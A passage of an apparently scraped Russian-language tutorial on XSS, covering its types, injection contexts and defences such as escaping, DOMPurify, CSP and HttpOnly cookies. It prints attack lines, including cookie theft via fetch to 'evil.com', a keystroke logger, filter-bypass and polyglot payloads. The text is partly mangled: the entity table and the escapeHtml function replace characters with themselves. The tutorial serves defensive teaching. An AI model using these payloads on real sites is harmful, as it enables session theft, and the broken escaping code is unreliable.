XSS (Cross-Site Scripting) — класс уязвимостей, при котором злоумышленник внедряет вредоносный JavaScript-код в веб-приложение, а затем этот код выполняется в браузере других пользователей.
Основная причина возникновения XSS — отсутствие корректной фильтрации и экранирования пользовательских данных перед их выводом в HTML-документ.
Типичная схема атаки:
Пример опасного кода:
<div>
Привет, <script>alert('XSS')</script>
</div>
Браузер не воспринимает содержимое как текст. Тег
<script> выполняется немедленно.
XSS считается одной из наиболее опасных веб-уязвимостей из-за возможности полного захвата пользовательской сессии.
fetch('https://evil.com/steal?cookie=' + document.cookie)
Если cookies не защищены флагом HttpOnly, злоумышленник
получает токены авторизации.
После кражи session-id злоумышленник может:
Вредоносный скрипт способен изменять DOM:
document.body.innerHTML = `
<form>
<input placeholder="Пароль">
</form>
`
Так создаются фальшивые формы авторизации.
document.addEventListener('keydown', e => {
fetch('/log?key=' + e.key)
})
Вредоносный код может перехватывать вводимые данные.
fetch('/api/delete-account', {
method: 'POST',
credentials: 'include'
})
Даже CSRF-защита иногда оказывается бесполезной, если запрос отправляется из доверенного контекста.
Вредоносный код приходит в HTTP-запросе и сразу отображается в ответе сервера.
Пример:
const query = location.search
document.body.innerHTML = query
URL:
https://site.com/?q=<script>alert(1)</script>
Скрипт выполнится сразу после открытия ссылки.
Вредоносный код сохраняется в базе данных и затем отображается другим пользователям.
Наиболее опасный тип XSS.
Источники:
Пример:
<script>
fetch('https://evil.com?c=' + document.cookie)
</script>
Если приложение сохраняет этот код без фильтрации, атака становится массовой.
Уязвимость возникает полностью на стороне клиента.
Опасный пример:
const hash = location.hash
document.body.innerHTML = hash
URL:
https://site.com/#<img src=x oner ror=alert(1)>
Сервер вообще не участвует в атаке.
XSS зависит не только от данных, но и от места их вставки.
Опасный код:
element.innerHTML = userInput
Безопасный вариант:
element.textContent = userInput
Опасный пример:
<input value="{{userInput}}">
Атакующий может закрыть атрибут:
" autofocus onfo cus="alert(1)
Результат:
<input value="" autofocus onfo cus="alert(1)">
Особенно опасна вставка данных внутрь скриптов:
<script>
const name = "{{userInput}}"
</script>
Payload:
"; alert(1); //
Результат:
<script>
const name = ""; alert(1); //
</script>
<a href="{{url}}">
Payload:
jav * ascript:alert(1)
Редко встречается, но возможен:
<div style="{{userStyles}}">
Старые браузеры позволяли выполнять JavaScript через CSS-конструкции.
Любые внешние данные потенциально опасны.
location.search
location.hash
req.body
req.headers.referer
document.cookie
socket.onmessage
Даже внутренний API нельзя считать безопасным.
Главный источник DOM-XSS.
container.innerHTML = userInput
element.outerHTML = data
div.insertAdjacentHTML('beforeend', data)
document.write(data)
eval(userInput)
setTimeout(userInput, 1000)
new Function(userInput)
element.textContent = userInput
Браузер интерпретирует данные только как текст.
const div = document.createElement('div')
div.textContent = userInput
img.setAttribute('alt', userInput)
Важно учитывать тип атрибута. Для href и
src требуется дополнительная проверка.
Спецсимволы заменяются HTML-сущностями.
Опасные символы:
| Символ | Замена |
|---|---|
< |
< |
> |
> |
" |
" |
' |
' |
& |
& |
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
Иногда HTML нужно разрешить частично.
Например:
<b><i><p>Но запрещать:
<script>onerroronclickПопулярная библиотека для очистки HTML.
Подключение:
<script src="https://unpkg.com/dompurify/dist/purify.min.js"></script>
Использование:
const clean = DOMPurify.sanitize(userHtml)
container.innerHTML = clean
DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'p']
})
CSP — механизм браузерной защиты, ограничивающий выполнение скриптов.
Пример заголовка:
Content-Security-Policy:
default-src 'self';
script-src 'self';
CSP блокирует:
<script>alert(1)</script>
И обработчики:
<button oncl ick="alert(1)">
Безопасное разрешение отдельных скриптов:
<script nonce="abc123">
CSP:
script-src 'nonce-abc123'
script-src 'sha256-...'
Разрешаются только скрипты с указанным хэшем.
Флаг запрещает JavaScript-доступ к cookies.
Set-Cookie: session=abc123; HttpOnly
Теперь:
document.cookie
не сможет прочитать session-cookie.
Дополнительная защита:
Set-Cookie: session=abc; SameSite=Lax
Уменьшает риск CSRF и некоторых XSS-сценариев.
React автоматически экранирует данные.
Безопасный пример:
<div>{userInput}</div>
React преобразует HTML в текст.
<div dangerouslySetInnerHTML={{
__html: userInput
}} />
При использовании требуется обязательная санитизация.
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userHtml)
Vue экранирует данные в шаблонах:
<div>{{ userInput }}</div>
<div v-html="userInput"></div>
v-html вставляет сырой HTML.
Angular автоматически очищает HTML.
Опасный код:
<div [innerHTML]="userHtml"></div>
Angular выполняет встроенную санитизацию.
Крайне опасный метод:
sanitizer.bypassSecurityTrustHtml(data)
Отключает встроенную защиту Angular.
Безопасно:
{{userInput}}
Опасно:
{{{userInput}}}
Тройные фигурные скобки отключают экранирование.
Безопасный вывод:
<%= userInput %>
Опасный вывод:
<%- userInput %>
Некоторые браузеры пытаются угадать тип контента.
Защита:
X-Content-Type-Options: nosniff
SVG поддерживает JavaScript.
Опасный пример:
<svg onl oad="alert(1)">
SVG необходимо санитизировать так же строго, как HTML.
Иногда браузер сам преобразует HTML в опасную структуру.
Пример:
<math><mi//xlink:href="dat a:x,<script>alert(1)</script>">
После парсинга DOM может измениться.
Payload может работать сразу в нескольких контекстах:
jav * ascript:/*--></title></style></textarea></script></xmp>
<svg/onl oad=alert(1)>
Подобные конструкции используются для обхода фильтров.
<script>
\u003cscript\u003e
<scr<script>ipt>
Современный механизм защиты DOM.
Пример CSP:
Content-Security-Policy:
require-trusted-types-for 'script';
Теперь опасные операции:
element.innerHTML = data
будут запрещены без Trusted Types policy.
const policy = trustedTypes.createPolicy('default', {
createHTML: input => DOMPurify.sanitize(input)
})
Опасно:
link.href = userInput
Нужно проверять протокол:
const url = new URL(userInput)
if (url.protocol === 'https:') {
link.href = url
}
HTML-файл способен содержать JavaScript.
Опасные расширения:
.html.svg.xmlНеобходимо:
Плагины безопасности:
npm install eslint-plugin-security
Поиск опасных конструкций:
semgrep --config=auto
Сканер безопасности веб-приложений.
Позволяет автоматически искать XSS.
Типичные payloads:
<script>alert(1)</script>
<img src=x oner ror=alert(1)>
<svg onl oad=alert(1)>
"><script>alert(1)</script>
Любые данные должны считаться потенциально вредоносными.
HTML, URL, JavaScript и CSS требуют разных механизмов защиты.
Предпочтение следует отдавать:
textContentcreateElementДаже при наличии XSS CSP значительно снижает ущерб.
Уязвимости часто появляются в:
Клиентская защита может быть обойдена.
React, Vue и Angular существенно снижают риск XSS при корректном использовании.